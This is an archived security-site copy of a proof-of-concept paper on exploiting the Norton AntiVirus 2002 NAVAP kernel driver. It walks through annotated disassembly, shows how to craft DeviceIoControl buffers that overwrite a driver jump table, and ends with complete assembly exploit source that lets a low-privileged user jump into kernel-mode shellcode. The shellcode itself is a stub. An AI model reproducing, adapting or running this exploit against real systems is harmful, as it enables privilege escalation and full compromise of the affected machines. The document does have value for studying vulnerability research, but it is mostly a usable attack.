Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!

TUCoPS :: Windows :: win32dcv.txt

Win32 Device Drivers Communication Vulnerabilities


Win32 Device Drivers Communication Vulnerabilities
Proof Of Concept - Exploiting Norton AntiVirus Device Driver
Written by Lord YuP / sEC-Labs ^ tkT

Tested on NAV 2002!
[zipped exploit]

    DISCLAIMER:  This paper is written in educational purposes only. Author, sEC-Labs, tkT team are not repsonsible for damage caused by other people, based on knowledge from this paper. Hope you know what it means dear reader.

    GREET: I'd like to thank int3 for helping me with the theory - one more time big thank uncle!


    The title problem

    I'm still wondering about the title of this paper, somebody might say that it isn't a OS problem but the vulnerable software is responsible for that. Yep, that's almost true, but I think I have arguments to name it Win32-DDCV (Device Drivers Communication Vulnerabilites), and i will show them in next parts of this article.


    The real introduction

    What's the Device Driver? let's paste something from Win32 Devopler Refference:
    "A Windows device driver is a DLL that Windows uses to interact with a hardware device, such as a display or keyboard. Rather than access devices directly, Windows loads device drivers and calls functions in the drivers to carry out actions on the device. Each device driver exports a set of functions; Windows calls these functions to complete an action, such as drawing a circle or translating a keyboard scan code. The driver functions also contain the device-specific code needed to carry out actions on the device."

    Note that Device Drivers are pretty different on w9x and NT based systems. (In Win95 and WinNT device driver is completly different. In Win98 and Win2k/XP there is new driver model called WDM ( Windows Driver Model). If you write any driver for Win98 using WDM, same driver you can run in Win2k/XP too).

    Ok so why some software uses Device Drivers?
    The answer is simple. Device Drivers are very powerful tools. When you are device driver you can make everything. Device Driver is running in Kernel (Ring0) mode as a kernel loadable module. In any OS Ring0 has full privilage. These programms can do any operation including system crash. Example, using kernel module we can Intercept all kinds of file operations.


    How application is communicating with device driver?

    The main function to communicate with device drivers is DeivceIoControl API exported by KERNEL32.DLL library. (again let's take a reference)

    The DeviceIoControl function sends a control code directly to a specified device driver, causing the corresponding device to perform the specified operation.

    BOOL DeviceIoControl(

    HANDLE hDevice, // handle to device of interest
    DWORD dwIoControlCode, // control code of operation to perform
    LPVOID lpInBuffer, // pointer to buffer to supply input data
    DWORD nInBufferSize, // size of input buffer
    LPVOID lpOutBuffer, // pointer to buffer to receive output data
    DWORD nOutBufferSize, // size of output buffer
    LPDWORD lpBytesReturned, // pointer to variable to receive output byte count
    LPOVERLAPPED lpOverlapped // pointer to overlapped structure for asynchronous operation


    How the break Device Driver!?

    Almost 99% of software device drivers (these which are included in software) can be broken. However as I said before the device driver must be "opened" for communactaion with application.

    (To communicate with any Device Driver, Inside Device driver it creates One I/O Object using
    IoCreateDevice(). In this function there is a Flag which specifies Exclusive or not. If it
    mentions Exclusive (TRUE), then only 1 application can open a Device and send a command, till
    it closes handle others cant open. If we take here Norton, It is not exclusive means,
    more then 1 application can open the Device and send a command). However if the client like NAVAPW32.EXE (for example) is accessible for us (we can open the process and so on) we can easily close the handle and open the device driver by our program or put a remote thread (inside NAVAPW32.EXE) that will do the same job inside real Norton process.

    Since the 99% of them are writting output information to lpOutBuffer you are 100% sure that you can make them flow - writting to non-existing location pointed by lpOutBuffer, which will cause them to crash. As far as I know Windows system is not checking if the memory location (agruments/memory pointers) is valid, and it isn't a windows vulerability? - give me a break!

    Like int3 said - "As per my knowledge, If there is any System privilage violation like system Crash using Application (User mode programm ), then is it surly a OS Bug. "

    The driver exploitation for system privleges is quite hard, but with a little stroke of luck we can do it - in next section we will try to exploit Norton AntiVirus.


    Exploiting the NAVAP (on NT based systems)

    After Norton AntiVirus installation it's time to make little research. Here are things you should have: (recommended - this is tutorial right?)
    - debugger (the best debugger on Earth - Numega Softice! or some windbg - you will need debugger if you want to research for your own, at the current stage everything is written here - I hope)
    - process view utility (i'm using Process Explorer from SysInternals)
    - disassembler (the best dasm on Earth IDA)
    - API monitor (the one from Rohitab Batra is pretty good)
    - logical thinking

    Let the show begin!

    1) Run Process Explorer utility (or other). At this stage of work the following Symatec modules should be found:
    - service: Navapsvc.exe and a client (standard access rights): Navapw32.exe

    Now find any file, click right mouse button on it and choose "Scan with Norton...", now as fast as you can go to the Process Explorer window, the new Norton processes are:
    - service: QServer.exe and a normal program NAVW32.exe
    In next few seconds QServer.exe should be terminated.

    2) Run Api Monitor, type CTRL+R (process filter) check the Include Filter option and write a process name as "QSERVER" (uppercase), then click OK and type CTRL+I (api filter) select only Device Input and Output. Click OK and start the API capture, now make a new virus scan (like in point one).

    When QSERVER will be runned again the Api Monitor will spy it. Look now on the Api Monitor window, search for DeviceIoControl u should get some, now check the hDevice param and find CreateFileA function that returns the same value (before DeviceIoControl). You should get sth like this: CreateFileA lpFileName:0x1700FD "\\.\NAVAP", ...

    What does it mean? The QServer process has opened the device (grabbed its handle) and then send a signal to it. Now open IDA and open the (depends on your system) C:\WINNT\system32\drivers\NAVAP.SYS (yep the driver found before), sleep until the analyse is finished.

    - QServer is communicating with NAVAP driver
    - the DeviceIoControl (that you have found in the Api Monitor) was executed with params: ...,dwIoControlCode:0x222a87,lpInBuffer:0x12f4e8,nInBufferSize:20,lpOutBuffer:0x12f4e0,nOutBufferSize:4, lpBytesReturned:...,lpOverlapped:0

    3) When IDA analyse is completed move the scroll to start of the file, then type ALT+T (type text) and make a search with: 222a87 (yeah the signal code), IDA should find something like this:
    PAGE:00016530 cmp ecx,222a87h  <- double click on it and turn to IDA View sub-window. You should be now at 16530 offset. Now turn the scroll bar up until the start of the sub-routine will be visible. Ok let's paste some disassembly with my comments:

    PAGE:000164D3 push esi               ; esi to the stack
    PAGE:000164D4 push edi               ; edi also
    PAGE:000164D5 mov edi, [esp+arg_0]   ; edi the arg_0 pointer
    PAGE:000164D9 test edi, edi          ; test it
    PAGE:000164DB jz loc_16597           ; if it is null -> leave
    PAGE:000164E1 mov eax, [edi+4]       ; EAX = lpInputBuffer pointer
    PAGE:000164E4 test eax, eax          ; if it is null
    PAGE:000164E6 jz loc_16597           ; leave
    PAGE:000164EC cmp dword ptr [edi+8], 20h ; is the nInputBufferSize correct (is it 32?)
    PAGE:000164F0 jnz loc_16597          ; it is not? -> leave
    PAGE:000164F6 mov esi, [edi+0Ch]     ; ESI = lpOutBuffer pointer
    PAGE:000164F9 test esi, esi          ; point to null?
    PAGE:000164FB jz loc_16597           ; leave
    PAGE:00016501 cmp dword ptr [edi+10h], 4 ; nOutBuffer size == 4?
    PAGE:00016505 jnz loc_16597          ; not? -> leave
    PAGE:0001650B cmp dword ptr [edi+14h], 0 ; lpBytesReturned pointer == 0?
    PAGE:0001650F jz loc_16597           ; signal faked -> leave
    PAGE:00016515 cmp dword ptr [eax], 3E3E5352h ; are first 4 bytes from lpInBuffer
    PAGE:0001651B jnz short loc_16597    ;3E3E5352? - nope -> signal faked -> leave       
    PAGE:0001651D cmp dword ptr [eax+1Ch], 3C3C5352h ; are 4 bytes at lpInBuffer+1ch
    PAGE:00016524 jnz short loc_16597    ;3C3C5352h? - nope then leave
    PAGE:00016526 mov ecx, [edi]         ; ECX=singal code
    PAGE:00016528 cmp ecx, 222A83h       ; is it 222A83 (another NAVAP signal)
    PAGE:0001652E jz short loc_1655A     ; if yes jump to ...
    PAGE:00016530 cmp ecx, 222A87h       ; is it 222A87 (our signal)
    PAGE:00016536 jz short loc_16562     ; we will look at this offset later
    PAGE:00016538 cmp ecx, 222A8Bh       ; is it 222A8B
    PAGE:0001653E jz short loc_1656A     ; if so jump to ...
    PAGE:00016540 cmp ecx, 222A8Fh       ; ...
    PAGE:00016546 jz short loc_16571     ; ...
    PAGE:00016548 cmp ecx, 222A93h       ; ...
    PAGE:0001654E jz short loc_16578     ; ...
    PAGE:00016550 cmp ecx, 222A97h       ; ...
    PAGE:00016556 jz short loc_1657F     ; ...
    PAGE:00016558 jmp short loc_16597    ; if other jump to loc_16597

    NOTICE TO: PAGE:00016530 cmp ecx, 222A87h
    Once driver exposes a Device name to outside world for communication (here NAVAP), Then it has to register a Callback function to handle DeviceIoControl() call's. Above related code is that CallBack register, which he is handling a set of Signles from Nav application. Yes of course, if Those who exposed the device to User mode app's has to have this kind of CallBack(100%).

    Well we can now build a sample DeviceIoControl call:
    push 0                               ; lpOverlapped
    push offset lpBytesReturned          ; this can't be NULL (look at PAGE:0001650B)
    push 4                               ; nOutBuffer must be 4 (look at PAGE:00016501)
    push offset lpOutBuffer              ; can't be NULL (look at PAGE:000164F6)
    push 20h                             ; nInputBufferSize must be 32 (dec) (l.a PAGE:000164EC)
    push offset lpInBuffer               ; lpInBuffer can't be NULL (look at PAGE:000164F6)
    push 222A87h                         ; our signal
    push dword ptr [NAVAP_HANDLE]        ; handle to NAVAP device
    call DeviceIoControl

    lpInbuffer should look like:

    dd 03E3E5352h                        ; can't be other (data/control code?) (look at PAGE:00016515)
    dd (1ch-($-offset lpInBuffer))/4 dup (1) ; unknow data for now but required
    dd 03C3C5352h                        ; can't be other (data/control code?) (look at PAGE:0001651D)

    Well try to send such a communicate and i guess you will have a NAVAP fault, why? just read ...Now we will make a look inside loc_16562 (double click on it at PAGE:00016536):
    I will write only that calls from loc_16562 so here they comes: loc_16562 (by call)-> loc_1659E
    call to InterlockedIncrement (twice)
    call ds:dword_35AA4 (to sub_30969) <-- YEP WE WERE LOOKING FOR IT

    Now jump to sub_30969, here it comes:

    PAGE:00030969 sub_30969 proc near    ; CODE XREF: odbierz_signal+76 p
    PAGE:00030969                        ; odbierz_signal+A6 p
    PAGE:00030969                        ; DATA XREF: ...
    PAGE:00030969 do_case = dword ptr 8
    PAGE:00030969 unknown_1 = dword ptr 0Ch
    PAGE:00030969 unknown_2 = dword ptr 10h
    PAGE:00030969 unknown_3 = dword ptr 14h
    PAGE:00030969 arg_10 = dword ptr 18h
    PAGE:00030969 arg_14 = dword ptr 1Ch
    PAGE:00030969 push ebp               ; save ebp
    PAGE:0003096A xor eax, eax           ; eax = 0
    PAGE:0003096C mov ebp, esp           ; ebp=esp
    PAGE:0003096E push ebx               ; ebx to the stack
    PAGE:0003096F push esi               ; esi also
    PAGE:00030970 push edi               ; edi the  same
    PAGE:00030971 mov edx, [ebp+arg_14]  ; is arg_14 == 0?
    PAGE:00030974 test edx, edx          ; test it
    PAGE:00030976 jz short loc_3097A     ; it is -> leave
    PAGE:00030978 fault:                
    PAGE:00030978 mov [edx], eax         ; write EAX=0 to EDX (the pointer)

    Ok we will stop at this point, like I wrote few lines above, if you send that signal the driver will fault, and now I'm going to tell you why ... let's rebuild lpInBuffer again:

    dd 03E3E5352h                        ; can't be other (look at PAGE:00016515)
    dd case_state                        ; the case_state (look at PAGE:00030969)
    dd unknown_1                         ; unknown for now (look at PAGE:00030969)
    dd unknown_2                         ; unknown for now (look at PAGE:00030969)
    dd unknown_3                         ; -//- (look at PAGE:00030969)             
    dd arg_10                            ; unknow for now (look at PAGE:00030969)
    dd arg_14                            ; check few lines down
    dd 03C3C5352h                        ; can't be other (look at PAGE:0001651D)

    In the old lpInBuffer all data from case_state to arg_14 where set to 1. Now let's analyse why did it faulted:
    PAGE:00030971 mov edx, [ebp+arg_14]  ; EDX = 1
    PAGE:00030974 test edx, edx          ; test it
    PAGE:00030976 jz short loc_3097A     ; it is not NULL continue
    PAGE:00030978 fault:                
    PAGE:00030978 mov [edx], eax         ; write EAX (NULL) to offset 1

    As you can see the driver tried to put 4 null bytes to offset given by arg_14, writting to offset 1 cause an access violation.

    To exploit the driver we must find the way to "jump to our code", notice that everything sent by DeviceIoControl (from lpInBuffer to lpBytesReturned) seems to be mapped at the same address in the driver's page!!!

    After few minutes of scanning I have found sth like:
    PAGE:00030AA8 mov [edx], ebx         ; EBX = 32h

    This writes 32h to our arg_14 pointer - you are wondering why I have choosen this instruction? Just continue reading...

    Look at the following code (written as an example):
    mov ebx,32h                          ; EBX = 32h (like in our driver code)
    push esp                             ; esp to stack
    pop edx                              ; edx = esp
    add edx,2                            ; edx=esp+2
    push offset return_here              ; put return address on stack
    mov [edx],ebx                        ; put 32h to edx (so esp+2)                      
    ret                                  ; returned to 0032100F ...

    In this little procedure I tried to show you that we can overwrite driver's return address, you saw that return_here offset was changed to 0032100F ! I have specially made a [esp+2] because it returns 0032100F not 00000032. Memory at 0032100F can be allocated and then send with DeviceIoControl as pointer ! So we have space for our shellcode ...

    But you know this a dirty way. We can't hardcode EDX addresss beacouse the stack is changing all the time in the driver (damn) we will need to find another way to do it!

    The mov [edx],ebx (EBX=32h) seems to be the only good option, now we have to find an address which can be overwritten and where the driver can jump... Let's scan ...

    Return to disassembly (the things after PAGE:00030978):

    PAGE:0003097A loc_3097A:             ; CODE XREF: sub_30969+D j
    PAGE:0003097A mov eax, [ebp+case_state] ; from our lpInBuffer
    PAGE:0003097D dec eax                ; dec do_case
    PAGE:0003097E cmp eax, 0Ah           ; switch 11 cases
    PAGE:00030981 ja loc_30B0B           ; default
    PAGE:00030987 jmp ds:off_30B12[eax*4] ; switch jump

    We have found a swith-case instruction? Do you know what's off_30B12? Let's see:

    PAGE:00030B12 off_30B12 dd offset loc_3098E ; DATA XREF: sub_30969+1E r
    PAGE:00030B12 dd offset loc_309BD    ; jump table for switch statement
    PAGE:00030B12 dd offset loc_309DE
    PAGE:00030B12 dd offset loc_309E8
    PAGE:00030B12 dd offset loc_309F2
    PAGE:00030B12 dd offset loc_30A21
    PAGE:00030B12 dd offset loc_30A50
    PAGE:00030B12 dd offset loc_30A7F
    PAGE:00030B12 dd offset loc_30AC1
    PAGE:00030B12 dd offset loc_30AE1
    PAGE:00030B12 dd offset loc_30B01

    We were looking for such code! If we will overwrite for example first offset, and then send the signal with case_state = 1 it will jump to code we have overwritten!!!

    First, signal must be sent with arg_14 pointed to first one of the jump table for switch statement. Let's check where was mov [edx],ebx (ebx=32h) executed:

    PAGE:00030A7F loc_30A7F:            ; CODE XREF: sub_30969+1E j
    PAGE:00030A7F                       ; DATA XREF: PAGE:00030B12 (CASE 0x7)
    PAGE:00030A7F mov esi, [ebp+unknown_3] ; unknown_3 == 0
    PAGE:00030A82 test esi, esi         ; test 
    PAGE:00030A84 jz loc_30B0B          ; leave without mov [edx],ebx execution
    PAGE:00030A8A mov ebx, 32h          ; ebx = 32h
    PAGE:00030A8F cmp [ebp+arg_10], ebx ; arg_10 == 32h?
    PAGE:00030A92 jb short loc_30B0B    ; below -> leave
    PAGE:00030A94 test edx, edx         ; EDX=our pointer to write
    PAGE:00030A96 jz short loc_30B0B    ; faked -> leave
    PAGE:00030A98 mov edi, esi          ; EDX=ESI
    PAGE:00030A9A xor eax, eax          ; EAX=0
    PAGE:00030A9C mov ecx, 0Ch          ; ECX=0Ch times
    PAGE:00030AA1 repe stosd            ; stos the dwords ECX times
    PAGE:00030AA3 stosw                 ; stos one word 
    PAGE:00030AA5 mov [esi+4], ebx      ; stos 32 at esi+4
    PAGE:00030AA8 mov [edx], ebx        ; write 32h on our address

    It will be much clearer if we will define new lpInBuffer:

    dd 03E3E5352h                        ; can't be other (look at PAGE:00016515)
    dd 07h+1                             ; case 0x7 (+1 beacouse of DEC EAX PAGE:0003097D)
    dd unknown_1                         ; unknown for now (look at PAGE:00030969)
    dd unknown_2                         ; unknown for now (look at PAGE:00030969)
    dd some_offset                       ; can't be null (look at PAGE:00030A7F)            
    dd 32h                               ; it must be set to 32h (look at PAGE:00030A8A)
    dd first_switch_address              ; adress to overwritte with 0 then 32h (l.a PAGE:00030AA8)
    dd 03C3C5352h                        ; can't be other (look at PAGE:0001651D)

    When first signal with lpInBuffer we have defined few lines above will be sent, we must send another to jump to the first switch address, and remember that lpInBuffer must be allocated at the memory made by mov [edx],ebx, look at an example.

    The lpInBuffer for the second "attack" can be almost the same, the case_state (07h+1) must be changed to 0+1 - easy.

    The bad point is that the device drivers seems to be loaded at a different memory every restart, so in the current exploit you must rewrite the MAP_ADDRESS definition by the address where the device is loaded. This can be done DeviceTree (OSR product), however later I will find another way to do it - since you got the address u can login as Guest user and run the exploit...




    ; NAVAP (Norton AntyVirus Device Driver Exploit)
    ; powered by Lord YuP / Sec-Labs ^ Tkt
    ; email:

    ;compile with:
    ;tasm32 /m1 /m3 /mx NAVAP_EXPLOIT,,;
    ;tlink32 -Tpe -aa NAVAP_EXPLOIT,NAVAP_EXPLOIT,,import32.lib,,

    include ;this can be found in zipped archive
    include WIN32API.INC ;see the end of paper

    ;WARNING THIS VALUE MUST BE CHANGED!!!! TRY TO USE DeviceTree utility (from OSR)
    ;to obtain the *Device Loaded Address* !!!!
    ;or make your own obtainer using SETUPAPI functions!!!

    MAP_BASE equ 0bbf30000h ;0bbef4000h

    ;calculate the address for the shellcode
    mov eax,MAP_BASE
    add eax,3098eh ;first case-if offset without base addr
    mov dword ptr [my_address],eax ;fill the variable
    mov dword ptr [my_address+2],0 ;like NAVAP does X-D
    mov dword ptr [my_address+2],32h ;guess what ;)

    push 0
    push 80h
    push 3
    push 0
    push 0
    push 0
    @pushsz "\\.\NAVAP" ;open the device
    @callx CreateFileA ;yeah - open it!
    mov ebx,eax ;EBX=DEVICE HANDLE

    cmp eax,-1 ;error ;/
    jne _x00 ;if not jump to _x00 label

    @debug SPLOIT_TITLE,"Cannot open device ;/",IERROR
    jmp exit

    push 0 ;overlapped = 0
    push offset byte_ret ;bytes returned
    push 4h ;navap requires 4 bytes ;)
    push offset outer ;output buffor
    push 20h ;if else our signal will be ignored
    push offset my_buffer ;input buffer (symantec style)
    push 222a87h ;secret code X-D
    push ebx ;EBX=HANDLE
    @callx DeviceIoControl ;send first signal
    test eax,eax ;cannot send it ;/ - damn
    jnz _x01 ;if correct jump to _x01

    @debug SPLOIT_TITLE,"Cannot send 1st SIGNAL! ;/",IERROR
    jmp exit

    push PAGE_EXECUTE_READWRITE ;page for execute/read/write
    push MEM_COMMIT ;commit
    push shellcode_size+100+(1000h+10h) ;size X-D hehe
    push dword ptr [my_address] ;specyfic address
    @callx VirtualAlloc ;alloc it!
    mov dword ptr [mem_handle],eax ;store to variable

    test eax,eax ;error?
    jnz _xO ;if not jump to _xO

    @debug SPLOIT_TITLE,"Cannot alloc memory! ;/",IERROR
    jmp exit

    mov edi,eax ;EDI=MEMORY HANDLE
    push edi ;store EDI
    add eax,shellcode_size+10 ;after shellcode
    mov dword ptr [wpisz_tutaj],eax ;store for later

    xor eax,eax ;EAX=0
    mov ecx,shellcode_size+100 ;ECX=SHELLCODE SIZE + 100 bytes
    rep stosb ;fill up with NULL's
    pop edi ;load EDI (now EDI memory handle)

    lea esi,my_buffer2 ;ESI=POINTER TO SECOND BUFFER
    mov ecx,my_buffer2_size ;ECX=SECOND BUFFER SIZE
    rep movsb ;write it!!!

    mov al,90h ;AL=90H=NOP
    mov ecx,1000h+10h ;ECX=1010h bytes

    lea esi,shellcode ;ESI=POINTER TO REAL SHELLCODE
    add esi,my_buffer2_size ;(WITHOUT MY_BUFFER2 DATA)
    mov ecx,shellcode_size-my_buffer2_size ;ECX=REAL SHELLCODE SIZE
    rep movsb ;store it!

    mov eax,dword ptr [mem_handle] ;EAX=MEMORY HANDLE
    add eax,shellcode_size+10 ;calculate pointer for bytes_returned

    push 0
    push eax ;bytes returned
    push 4h ;look up for comments! X-D
    push eax
    push 20h
    push dword ptr [mem_handle]
    push 222a87h
    push ebx
    @callx DeviceIoControl ;send second signal and execute the jump X-D
    test eax,eax ;error
    jnz _x02 ;nope conitnue work at _x02 label

    @debug SPLOIT_TITLE,"Cannot send 2nd SIGNAL! ;/",IERROR
    jmp exit

    push MEM_RELEASE ;memory will be released
    push shellcode_size+100+(1000h+10h) ;memory size
    push dword ptr [mem_handle] ;memory handle
    @callx VirtualFree ;de-allocate it

    exit: push 0 ;say good bye ;)
    @callx ExitProcess

    byte_ret dd 0

    OVERWRITE_IT equ MAP_BASE+20b12h+2 ;address to overwrite
    SAFE_EXIT equ MAP_BASE+20B0Bh ;do not fault ;][;

    dd 03E3E5352h ;some MARKER by symantec
    dd 07h+1 ;case if
    dd "nie1" ;doesn't metter in this case
    dd "nie2" ;-//-
    dd offset nie3 ;device must store sth (avoid fault)
    dd 32h ;must be 32h!!! (read the white-paper)
    dd OVERWRITE_IT ;address we want to overwrite (EDX)
    dd 03C3C5352h ;the same as the first one
    my_buffer_size=$-offset my_buffer

    dd 03E3E5352h
    dd 0h+1 ;case if
    dd "nie1" ;rest the same X-D
    dd "nie2"
    dd offset nie3
    dd 32h
    wpisz_tutaj dd 0
    dd 03C3C5352h
    my_buffer2_size=$-offset my_buffer
    db 100 dup (90h)

    ;here the sample shellcode starts:
    ;If u want write a shellcode do it yourself, avoiding from ex-ploit-k1dd13z
    ;blackhat for ever man ;]
    ;btw. remeber that IT IS A: *D - R - I - V - E - R *

    @delta2reg ebp

    mov edx,SAFE_EXIT
    jmp edx

    shellcode_size=$-offset shellcode

    ;the rest of variables

    mem_handle dd 0
    my_address dd 0
    temp_erufka dd 0
    nie3 db "just an temp ... "
    outer db 100 dup (0)

    end start



    Last words

    I hope you had fun with this paper! and you have learned something. It is time to send few greets, so they are fired to:

    UNDERNET to all from #virus, #asm,  mostly i want to thank int3 (my favourite india coder - thx uncle)
    IRCNET to all from #phreakpl, #security, #blackhat
    And of cource special thanks goes to bajkero, mcbethh and rest of sec-labs team :) (*grin*)

    You can catch me at or IRC, if you want to contact with my team(s) visit our homepage.

    "You will be now terminated ..." - EOF


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH